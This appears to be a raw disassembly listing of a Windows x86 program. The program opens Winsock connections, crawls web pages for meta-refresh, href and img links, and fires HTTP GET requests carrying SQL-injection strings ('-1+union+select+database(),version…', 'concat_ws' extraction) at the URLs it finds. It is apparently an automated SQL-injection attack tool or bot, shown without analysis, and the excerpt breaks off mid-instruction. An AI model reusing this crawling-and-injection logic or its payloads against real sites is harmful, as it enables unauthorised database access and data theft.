sub_40D810+F8j push dword ptr [ebp+0Ch] lea ecx, [ebp-24h] call sub_40F0A3 push dword ptr [eax] mov ecx, [ebp+8] call sub_40D542 mov [ebp-14h], esi loc_40D934: ; CODE XREF: sub_40D810+10Aj lea ecx, [ebp-34h] call sub_40D58A lea ecx, [ebp-24h] mov [ebp-4], bl call sub_40F08A mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 10h sub_40D810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D95B proc near ; CODE XREF: sub_40DB4B+42p ; sub_40DB4B+95p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 and [ebp+var_4], 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D810 mov eax, [ebp+arg_0] leave retn 0Ch sub_40D95B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D97A proc near ; CODE XREF: sub_40DB4B+3C3p ; sub_40DB4B+3F2p ... jmp sub_40D60A sub_40D97A endp ; =============== S U B R O U T I N E ======================================= sub_40D97F proc near ; CODE XREF: .text:0040E4BFp ; .text:0040E862p ... arg_0 = dword ptr 4 mov eax, [ecx+4] add eax, [esp+arg_0] retn 4 sub_40D97F endp ; =============== S U B R O U T I N E ======================================= sub_40D989 proc near ; CODE XREF: sub_40D60A+7p ; sub_40D66C+7p ... mov eax, [ecx+4] retn sub_40D989 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D98D proc near ; CODE XREF: sub_40DA0E+29p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push esi push eax push 101h call dword_42F290 ; WSAStartup push 6 push 1 push 2 call dword_42F29C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40DA04 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4221F0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_42F2B8 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_4140CF pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_42F294 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40DA09 push esi call dword_42F298 ; closesocket loc_40DA04: ; CODE XREF: sub_40D98D+2Dj or eax, 0FFFFFFFFh jmp short loc_40DA0B ; --------------------------------------------------------------------------- loc_40DA09: ; CODE XREF: sub_40D98D+6Ej mov eax, esi loc_40DA0B: ; CODE XREF: sub_40D98D+7Aj pop esi leave retn sub_40D98D endp ; =============== S U B R O U T I N E ======================================= sub_40DA0E proc near ; CODE XREF: .text:0040E147p ; .text:0040E372p ... mov eax, offset loc_42EC48 call sub_423A68 mov eax, 1014h call sub_4220C0 mov eax, [ebp+10h] push esi xor esi, esi push dword ptr [eax+40h] lea ecx, [eax+10h] mov [ebp-20h], esi call sub_40D989 push eax call sub_40D98D pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+10h], eax jnz short loc_40DA58 mov ecx, [ebp+8] push offset byte_44D6A4 call sub_40D542 jmp loc_40DB3B ; --------------------------------------------------------------------------- loc_40DA58: ; CODE XREF: sub_40DA0E+36j push ebx push edi push esi push dword ptr [ebp+0Ch] call sub_422120 pop ecx push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+10h] call dword_42F288 ; send push offset byte_44D6A4 lea ecx, [ebp-1Ch] call sub_40D542 mov edi, dword_42F28C mov [ebp-4], esi mov esi, 1000h loc_40DA8C: ; CODE XREF: sub_40DA0E+B4j ; sub_40DA0E+DCj push 0 lea eax, [ebp-1020h] push esi push eax push dword ptr [ebp+10h] call edi ; dword_42F28C mov ebx, eax test ebx, ebx jle short loc_40DAEC cmp ebx, esi jge short loc_40DAAD and byte ptr [ebp+ebx-1020h], 0 loc_40DAAD: ; CODE XREF: sub_40DA0E+95j lea eax, [ebp-1020h] lea ecx, [ebp-1Ch] push eax call sub_40D622 and dword ptr [ebp+0Ch], 0 test ebx, ebx jle short loc_40DA8C loc_40DAC4: ; CODE XREF: sub_40DA0E+DAj mov eax, [ebp+0Ch] push 4 push offset asc_4381A8 ; "\r\n\r\n" lea eax, [ebp+eax-1020h] push eax call sub_423AD0 add esp, 0Ch test eax, eax jz short loc_40DAEC inc dword ptr [ebp+0Ch] cmp [ebp+0Ch], ebx jl short loc_40DAC4 jmp short loc_40DA8C ; --------------------------------------------------------------------------- loc_40DAEC: ; CODE XREF: sub_40DA0E+91j ; sub_40DA0E+D2j ... push 0 lea eax, [ebp-1020h] push esi push eax push dword ptr [ebp+10h] call edi ; dword_42F28C test eax, eax jle short loc_40DB1C cmp eax, esi jge short loc_40DB0B and byte ptr [ebp+eax-1020h], 0 loc_40DB0B: ; CODE XREF: sub_40DA0E+F3j lea eax, [ebp-1020h] lea ecx, [ebp-1Ch] push eax call sub_40D622 jmp short loc_40DAEC ; --------------------------------------------------------------------------- loc_40DB1C: ; CODE XREF: sub_40DA0E+EFj push dword ptr [ebp+10h] call dword_42F298 ; closesocket mov ecx, [ebp+8] lea eax, [ebp-1Ch] push eax call sub_40D566 lea ecx, [ebp-1Ch] call sub_40D58A pop edi pop ebx loc_40DB3B: ; CODE XREF: sub_40DA0E+45j mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx leave retn sub_40DA0E endp ; =============== S U B R O U T I N E ======================================= sub_40DB4B proc near ; CODE XREF: .text:0040DFEDp ; .text:0040E2E0p ... mov eax, offset loc_42ECF4 call sub_423A68 sub esp, 50h push esi xor esi, esi cmp [ebp+8], esi jnz short loc_40DB67 xor eax, eax jmp loc_40DF7B ; --------------------------------------------------------------------------- loc_40DB67: ; CODE XREF: sub_40DB4B+13j push ebx push edi lea ecx, [ebp-1Ch] call sub_40D512 push dword ptr [ebp+8] lea ecx, [ebp-1Ch] mov [ebp-4], esi call sub_40D5BD mov ebx, offset asc_4381C4 ; ":" lea eax, [ebp-3Ch] push ebx push esi push eax lea ecx, [ebp-1Ch] call sub_40D95B mov edi, [ebp+0Ch] push eax mov ecx, edi mov byte ptr [ebp-4], 1 call sub_40D60A and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40D58A push offset aHttp ; "http" mov ecx, edi call sub_40D684 test eax, eax jz short loc_40DBD1 push offset aFtp ; "ftp" mov ecx, edi call sub_40D684 test eax, eax jnz loc_40DF6F loc_40DBD1: ; CODE XREF: sub_40DB4B+70j mov esi, offset asc_4381B4 ; "/" lea eax, [ebp-3Ch] push esi push 1 push eax lea ecx, [ebp-1Ch] call sub_40D95B push 40h mov ecx, eax mov byte ptr [ebp-4], 2 call sub_40D6DF and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] mov [ebp+8], eax call sub_40D58A cmp dword ptr [ebp+8], 0 push esi lea ecx, [ebp-1Ch] push 1 jz loc_40DE0B lea eax, [ebp-5Ch] push eax call sub_40D95B push offset a@ ; "@" lea ecx, [ebp-4Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 3 call sub_40D95B push ebx lea ecx, [ebp-3Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 4 call sub_40D95B lea ecx, [edi+10h] push eax mov byte ptr [ebp-4], 5 call sub_40D60A lea ecx, [ebp-3Ch] call sub_40D58A lea ecx, [ebp-4Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-5Ch] call sub_40D58A push offset byte_44D6A4 lea ecx, [edi+10h] call sub_40D684 test eax, eax jnz short loc_40DC83 loc_40DC7C: ; CODE XREF: sub_40DB4B+23Fj ; sub_40DB4B+2BBj ... xor esi, esi jmp loc_40DF6F ; --------------------------------------------------------------------------- loc_40DC83: ; CODE XREF: sub_40DB4B+12Fj push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_40D95B push offset a@ ; "@" lea ecx, [ebp-4Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 6 call sub_40D95B push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 7 call sub_40D95B mov ecx, eax call sub_40D989 push eax call sub_422B5A pop ecx mov [edi+40h], eax lea ecx, [ebp-5Ch] call sub_40D58A lea ecx, [ebp-4Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40D58A cmp dword ptr [edi+40h], 0 jnz short loc_40DD1B push offset aHttp ; "http" mov ecx, edi call sub_40D684 test eax, eax jnz short loc_40DD04 mov dword ptr [edi+40h], 50h loc_40DD04: ; CODE XREF: sub_40DB4B+1B0j push offset aFtp ; "ftp" mov ecx, edi call sub_40D684 test eax, eax jnz short loc_40DD1B mov dword ptr [edi+40h], 15h loc_40DD1B: ; CODE XREF: sub_40DB4B+1A0j ; sub_40DB4B+1C7j push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_40D95B push offset a@ ; "@" lea ecx, [ebp-4Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 8 call sub_40D95B push ebx lea ecx, [ebp-5Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 9 call sub_40D95B lea ecx, [edi+20h] push eax mov byte ptr [ebp-4], 0Ah call sub_40D60A lea ecx, [ebp-5Ch] call sub_40D58A lea ecx, [ebp-4Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40D58A push offset byte_44D6A4 lea ecx, [edi+20h] call sub_40D684 test eax, eax jz loc_40DC7C push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_40D95B push offset a@ ; "@" lea ecx, [ebp-4Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Bh call sub_40D95B push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Ch call sub_40D95B lea ebx, [edi+30h] push eax mov ecx, ebx mov byte ptr [ebp-4], 0Dh call sub_40D60A lea ecx, [ebp-5Ch] call sub_40D58A lea ecx, [ebp-4Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40D58A push offset byte_44D6A4 mov ecx, ebx call sub_40D684 test eax, eax jnz loc_40DED6 jmp loc_40DC7C ; --------------------------------------------------------------------------- loc_40DE0B: ; CODE XREF: sub_40DB4B+C0j lea eax, [ebp-4Ch] push eax call sub_40D95B push ebx lea ecx, [ebp-5Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Eh call sub_40D95B lea ecx, [edi+10h] push eax mov byte ptr [ebp-4], 0Fh call sub_40D60A lea ecx, [ebp-5Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-4Ch] call sub_40D58A push offset byte_44D6A4 lea ecx, [edi+10h] call sub_40D684 test eax, eax jz loc_40DC7C push esi lea eax, [ebp-4Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_40D95B push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 10h call sub_40D95B mov ecx, eax call sub_40D989 push eax call sub_422B5A pop ecx mov [edi+40h], eax lea ecx, [ebp-5Ch] call sub_40D58A and byte ptr [ebp-4], 0 lea ecx, [ebp-4Ch] call sub_40D58A cmp dword ptr [edi+40h], 0 jnz short loc_40DED6 push offset aHttp ; "http" mov ecx, edi call sub_40D684 test eax, eax jnz short loc_40DEBF mov dword ptr [edi+40h], 50h loc_40DEBF: ; CODE XREF: sub_40DB4B+36Bj push offset aFtp ; "ftp" mov ecx, edi call sub_40D684 test eax, eax jnz short loc_40DED6 mov dword ptr [edi+40h], 15h loc_40DED6: ; CODE XREF: sub_40DB4B+2B5j ; sub_40DB4B+35Bj ... push esi lea ecx, [ebp-1Ch] call sub_40D71D push eax lea eax, [ebp-2Ch] push eax lea ecx, [ebp-1Ch] call sub_40D7ED push esi lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 11h call sub_40D71D push eax lea eax, [ebp-5Ch] push eax lea ecx, [ebp-2Ch] call sub_40D7ED push eax lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 12h call sub_40D97A lea ecx, [ebp-5Ch] mov byte ptr [ebp-4], 11h call sub_40D58A push esi lea ecx, [ebp-2Ch] call sub_40D71D push eax lea eax, [ebp-5Ch] push eax lea ecx, [ebp-2Ch] call sub_40D7ED push eax lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 13h call sub_40D97A lea ecx, [ebp-5Ch] mov byte ptr [ebp-4], 11h call sub_40D58A add edi, 44h push esi mov ecx, edi call sub_40D5BD lea eax, [ebp-2Ch] mov ecx, edi push eax call sub_40D66C lea ecx, [ebp-2Ch] call sub_40D58A xor esi, esi inc esi loc_40DF6F: ; CODE XREF: sub_40DB4B+80j ; sub_40DB4B+133j lea ecx, [ebp-1Ch] call sub_40D58A pop edi mov eax, esi pop ebx loc_40DF7B: ; CODE XREF: sub_40DB4B+17j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_40DB4B endp ; --------------------------------------------------------------------------- loc_40DF88: ; DATA XREF: sub_403B2C+5FEEo mov eax, offset loc_42EEAC call sub_423A68 sub esp, 0C40h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 22Ah mov esi, eax lea edi, [ebp-0C4Ch] xor ebx, ebx rep movsd mov dword ptr [eax+8A4h], 1 mov eax, [ebp-0C4Ch] lea ecx, [ebp-1F4h] mov [ebp-34h], eax mov [ebp-48h], ebx call sub_40F035 mov [ebp-4], ebx call dword_42F164 ; GetTickCount push eax call sub_4220EF lea eax, [ebp-1F4h] push eax lea eax, [ebp-0C48h] push eax call sub_40DB4B add esp, 0Ch test eax, eax jnz short loc_40E05E cmp [ebp-3ACh], ebx mov esi, offset aFailedToParse_ ; "Failed to parse." jnz short loc_40E021 cmp [ebp-3B0h], ebx jnz short loc_40E029 lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_4104F6 add esp, 0Ch loc_40E021: ; CODE XREF: .text:0040E004j cmp [ebp-3B0h], ebx jz short loc_40E03C loc_40E029: ; CODE XREF: .text:0040E00Cj lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_410491 add esp, 0Ch loc_40E03C: ; CODE XREF: .text:0040E027j or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-1F4h] call sub_40F05F mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax pop ebx mov large fs:0, ecx leave retn 4 ; --------------------------------------------------------------------------- loc_40E05E: ; CODE XREF: .text:0040DFF7j xor eax, eax cmp off_437718, ebx jz short loc_40E072 loc_40E068: ; CODE XREF: .text:0040E070j inc eax cmp off_437718[eax*4], ebx jnz short loc_40E068 loc_40E072: ; CODE XREF: .text:0040E066j dec eax cmp [ebp-3C0h], ebx mov [ebp-0D0h], eax jle loc_40EFC5 mov esi, offset asc_433F94 ; " " mov edi, offset asc_438724 ; "=" loc_40E08F: ; CODE XREF: .text:0040EFBFj push dword ptr [ebp-0D0h] push ebx call sub_41409E mov eax, off_437718[eax*4] pop ecx pop ecx mov [ebp+8], eax lea ecx, [ebp-30h] call sub_40D512 lea ecx, [ebp-20h] call sub_40D512 cmp dword ptr [ebp-3C4h], 50h mov byte ptr [ebp-4], 2 lea ecx, [ebp-1E4h] jnz short loc_40E0E3 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40E100 ; --------------------------------------------------------------------------- loc_40E0E3: ; CODE XREF: .text:0040E0C8j push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40E100: ; CODE XREF: .text:0040E0E1j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-1B0h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-1F4h] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-0CCh] push eax call sub_40DA0E add esp, 0Ch mov byte ptr [ebp-4], 3 jmp loc_40EF56 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: .text:0040EF5Cj lea ecx, [ebp-0ACh] call sub_40F035 push 3Ch lea ecx, [ebp-0CCh] mov byte ptr [ebp-4], 4 call sub_40D6DF test eax, eax jz loc_40EF64 push 3Ch lea ecx, [ebp-0CCh] call sub_40D6DF push eax lea eax, [ebp-0F0h] push eax lea ecx, [ebp-0CCh] call sub_40D7ED lea eax, [ebp-0F0h] lea ecx, [ebp-0CCh] push eax mov byte ptr [ebp-4], 5 call sub_40D97A push 3Eh lea ecx, [ebp-0CCh] call sub_40D6DF dec eax lea ecx, [ebp-0CCh] push eax lea eax, [ebp-44h] push ebx push eax call sub_40D75A push esi lea eax, [ebp-0BCh] push ebx push eax lea ecx, [ebp-44h] mov byte ptr [ebp-4], 6 call sub_40D95B push offset aMeta ; "meta" lea ecx, [ebp-0BCh] mov byte ptr [ebp-4], 7 call sub_40D695 test eax, eax jnz loc_40E398 push offset aRefresh ; "\"Refresh\"" lea ecx, [ebp-44h] call sub_40D71D test eax, eax jz loc_40E398 push esi lea eax, [ebp-58h] push 3 push eax lea ecx, [ebp-44h] call sub_40D95B push 3Dh lea ecx, [ebp-58h] mov byte ptr [ebp-4], 8 call sub_40D6DF push eax lea eax, [ebp-394h] push eax lea ecx, [ebp-58h] call sub_40D7ED push eax lea ecx, [ebp-0F0h] mov byte ptr [ebp-4], 9 call sub_40D97A lea ecx, [ebp-394h] mov byte ptr [ebp-4], 8 call sub_40D58A lea eax, [ebp-0F0h] lea ecx, [ebp-58h] push eax call sub_40D97A lea ecx, [ebp-58h] call sub_41111F dec eax lea ecx, [ebp-58h] push eax lea eax, [ebp-374h] push ebx push eax call sub_40D75A push eax lea ecx, [ebp-0F0h] mov byte ptr [ebp-4], 0Ah call sub_40D97A lea ecx, [ebp-374h] mov byte ptr [ebp-4], 8 call sub_40D58A lea eax, [ebp-0F0h] lea ecx, [ebp-58h] push eax call sub_40D97A lea eax, [ebp-58h] lea ecx, [ebp-204h] push eax call sub_40D566 lea eax, [ebp-0ACh] lea ecx, [ebp-204h] push eax mov byte ptr [ebp-4], 0Bh call sub_40D989 push eax call sub_40DB4B pop ecx test eax, eax pop ecx jz loc_40E385 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_40E314 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40E32E ; --------------------------------------------------------------------------- loc_40E314: ; CODE XREF: .text:0040E2F9j push dword ptr [ebp-6Ch] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40E32E: ; CODE XREF: .text:0040E312j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-214h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-214h] call sub_40D58A loc_40E385: ; CODE XREF: .text:0040E2E9j lea ecx, [ebp-204h] call sub_40D58A lea ecx, [ebp-58h] jmp loc_40EF24 ; --------------------------------------------------------------------------- loc_40E398: ; CODE XREF: .text:0040E1FCj ; .text:0040E211j push offset dword_433F14 lea ecx, [ebp-0BCh] call sub_40D695 test eax, eax jnz loc_40E73B push esi lea eax, [ebp-384h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_40D95B push edi lea ecx, [ebp-110h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 0Ch call sub_40D95B lea ecx, [ebp-384h] jmp short loc_40E43F ; --------------------------------------------------------------------------- loc_40E3E0: ; CODE XREF: .text:0040E45Aj push offset byte_44D6A4 lea ecx, [ebp-110h] call sub_40D684 test eax, eax jz short loc_40E45C inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-304h] lea ecx, [ebp-44h] push eax call sub_40D95B push edi lea ecx, [ebp-244h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 0Fh call sub_40D95B push eax lea ecx, [ebp-110h] mov byte ptr [ebp-4], 10h call sub_40D60A lea ecx, [ebp-244h] call sub_40D58A lea ecx, [ebp-304h] loc_40E43F: ; CODE XREF: .text:0040E3DEj mov byte ptr [ebp-4], 0Eh call sub_40D58A lea ecx, [ebp-110h] push offset aHref ; "href" call sub_40D695 test eax, eax jnz short loc_40E3E0 loc_40E45C: ; CODE XREF: .text:0040E3F2j push offset byte_44D6A4 lea ecx, [ebp-110h] call sub_40D684 test eax, eax jz loc_40E730 push esi lea eax, [ebp-264h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_40D95B push 1 push edi lea ecx, [ebp-160h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 11h call sub_40D810 lea ecx, [ebp-264h] call sub_40D58A lea ecx, [ebp-170h] call sub_40D512 push ebx lea ecx, [ebp-160h] mov byte ptr [ebp-4], 14h call sub_40D97F cmp byte ptr [eax], 2Fh lea ecx, [ebp-160h] jnz short loc_40E4FD call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-170h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_40D6A6 add esp, 14h jmp short loc_40E55D ; --------------------------------------------------------------------------- loc_40E4FD: ; CODE XREF: .text:0040E4CDj push offset aHttp_0 ; "http://" call sub_40D71D test eax, eax jz short loc_40E51F lea eax, [ebp-160h] lea ecx, [ebp-170h] push eax call sub_40D60A jmp short loc_40E55D ; --------------------------------------------------------------------------- loc_40E51F: ; CODE XREF: .text:0040E509j lea ecx, [ebp-160h] call sub_40D989 push eax lea ecx, [ebp-1B0h] call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-170h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_40D6A6 add esp, 18h loc_40E55D: ; CODE XREF: .text:0040E4FBj ; .text:0040E51Dj lea eax, [ebp-0ACh] lea ecx, [ebp-170h] push eax call sub_40D989 push eax call sub_40DB4B pop ecx test eax, eax pop ecx jz loc_40E71A cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_40E5A4 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40E5BE ; --------------------------------------------------------------------------- loc_40E5A4: ; CODE XREF: .text:0040E589j push dword ptr [ebp-6Ch] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40E5BE: ; CODE XREF: .text:0040E5A2j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-364h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-364h] call sub_40D58A lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetS1UnionSele ; "GET %s=-1+union+select+database(),versi"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-284h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-284h] call sub_40D58A lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetS1UnionSe_0 ; "GET %s=-1+union+select+1,2,concat_ws(0x"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-324h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-324h] call sub_40D58A lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax push dword ptr [ebp+8] lea ecx, [ebp-68h] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetS1UnionSe_1 ; "GET %s=-1+union+select+1,2,concat_ws(ch"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-2A4h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-2A4h] call sub_40D58A loc_40E71A: ; CODE XREF: .text:0040E579j lea ecx, [ebp-170h] call sub_40D58A lea ecx, [ebp-160h] call sub_40D58A loc_40E730: ; CODE XREF: .text:0040E46Ej lea ecx, [ebp-110h] jmp loc_40EF24 ; --------------------------------------------------------------------------- loc_40E73B: ; CODE XREF: .text:0040E3AAj push offset aImg ; "img" lea ecx, [ebp-0BCh] call sub_40D695 test eax, eax jnz loc_40E9D9 push esi lea eax, [ebp-3A4h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_40D95B push edi lea ecx, [ebp-140h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 15h call sub_40D95B lea ecx, [ebp-3A4h] jmp short loc_40E7E2 ; --------------------------------------------------------------------------- loc_40E783: ; CODE XREF: .text:0040E7FDj push offset byte_44D6A4 lea ecx, [ebp-140h] call sub_40D684 test eax, eax jz short loc_40E7FF inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-344h] lea ecx, [ebp-44h] push eax call sub_40D95B push edi lea ecx, [ebp-2C4h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 18h call sub_40D95B push eax lea ecx, [ebp-140h] mov byte ptr [ebp-4], 19h call sub_40D60A lea ecx, [ebp-2C4h] call sub_40D58A lea ecx, [ebp-344h] loc_40E7E2: ; CODE XREF: .text:0040E781j mov byte ptr [ebp-4], 17h call sub_40D58A lea ecx, [ebp-140h] push offset aSrc ; "src" call sub_40D695 test eax, eax jnz short loc_40E783 loc_40E7FF: ; CODE XREF: .text:0040E795j push offset byte_44D6A4 lea ecx, [ebp-140h] call sub_40D684 test eax, eax jz loc_40E9CE push esi lea eax, [ebp-2E4h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_40D95B push 1 push edi lea ecx, [ebp-0E0h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 1Ah call sub_40D810 lea ecx, [ebp-2E4h] call sub_40D58A lea ecx, [ebp-1A0h] call sub_40D512 push ebx lea ecx, [ebp-0E0h] mov byte ptr [ebp-4], 1Dh call sub_40D97F cmp byte ptr [eax], 2Fh lea ecx, [ebp-0E0h] jnz short loc_40E8A0 call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-1A0h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_40D6A6 add esp, 14h jmp short loc_40E900 ; --------------------------------------------------------------------------- loc_40E8A0: ; CODE XREF: .text:0040E870j push offset aHttp_0 ; "http://" call sub_40D71D test eax, eax jz short loc_40E8C2 lea eax, [ebp-0E0h] lea ecx, [ebp-1A0h] push eax call sub_40D60A jmp short loc_40E900 ; --------------------------------------------------------------------------- loc_40E8C2: ; CODE XREF: .text:0040E8ACj lea ecx, [ebp-0E0h] call sub_40D989 push eax lea ecx, [ebp-1B0h] call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-1A0h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_40D6A6 add esp, 18h loc_40E900: ; CODE XREF: .text:0040E89Ej ; .text:0040E8C0j lea eax, [ebp-0ACh] lea ecx, [ebp-1A0h] push eax call sub_40D989 push eax call sub_40DB4B pop ecx test eax, eax pop ecx jz loc_40E9B8 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_40E947 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40E961 ; --------------------------------------------------------------------------- loc_40E947: ; CODE XREF: .text:0040E92Cj push dword ptr [ebp-6Ch] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40E961: ; CODE XREF: .text:0040E945j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset 